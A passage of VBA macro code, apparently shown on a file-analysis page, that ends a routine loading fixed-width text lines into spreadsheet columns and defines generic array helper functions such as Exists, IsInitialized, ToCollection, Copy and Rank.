        Cells(ActiveCell.row, 3) = Mid(ConteudoDaLinha, 2, 15) 'Alimenta a planilha
        Cells(ActiveCell.row, 4) = Mid(ConteudoDaLinha, 17, 250) 'Alimenta a planilha
        Cells(ActiveCell.row, 5) = Mid(ConteudoDaLinha, 287, 23) 'Alimenta a planilha
        Cells(ActiveCell.row, 6) = Mid(ConteudoDaLinha, 325, 23) 'Alimenta a planilha
        Cells(ActiveCell.row, 7) = Mid(ConteudoDaLinha, 450, 500) 'Alimenta a planilha
        Cells(ActiveCell.row + 1, ActiveCell.Column).Select 'Pula de linha na planilha
        
        End If
    
    Loop
    
    'pula de linha
    
    Close N1
    'Fecha o arquivo (o numero em NumArquivo poder ser reutilizado)

'avisa que terminou


End Sub

Public Function Exists(ByVal Item As Variant, ByRef Arr As Variant) As Boolean
    Exists = (UBound(Filter(Arr, Item)) > -1)
End Function


' Retruns true if array was initalized.
' In VB, for whatever reason, Not myArray returns the SafeArray pointer.
' For uninitialized arrays, this returns -1.
' Not (XOR) this to XOR it with -1, thus returning zero.
Public Function IsInitialized(ByRef Arr() As Variant) As Boolean
    IsInitialized = ((Not Not Arr) <> 0)
End Function


' Converts single dimension array into a collection.
Public Function ToCollection(ByRef Arr() As Variant) As Collection

    Dim Output As New Collection
    
    Dim Item As Variant
    For Each Item In Arr
        Output.Add Item
    Next

    Set ToCollection = Output
    Set Output = Nothing
    
End Function


' Copies elements from an Array starting at SourceIndex and pastes them to another
' Array starting at DestinationIndex. Number of elements which will be copied is
' is specified in Length parameter.
Public Sub Copy(ByRef Arr() As Variant, ByVal SourceIndex As Long, ByRef DestinationArray() As Variant, _
                ByVal DestinationIndex As Long, ByVal Length As Long)

    Dim DestNdx As Long
    DestNdx = DestinationIndex
    
    Dim i As Long
    For i = SourceIndex To (Length + SourceIndex - 1)
        DestinationArray(DestNdx) = Arr(i)
        DestNdx = DestNdx + 1
    Next i
    
End Sub


' This function returns the number of dimensions of an array. An unallocated dynamic array
' has 0 dimensions.
Public Function Rank(ByRef Arr() As Variant) As Long
    
    Dim Ndx As Long
    Dim Res As Long
    On Error Resume Next

    Do
        Ndx = Ndx + 1
        Res = UBound(Arr, Ndx)
    Loop Until Err.Number <> 0
    Err.Number = 0
    
    Rank = Ndx - 1
    
End Function


' Returns the number of elements in single dimension of array.
Public Function Length(ByRef Arr() As Variant) As Long
…

Open this report in the interactive analyzer, or submit your own file for analysis.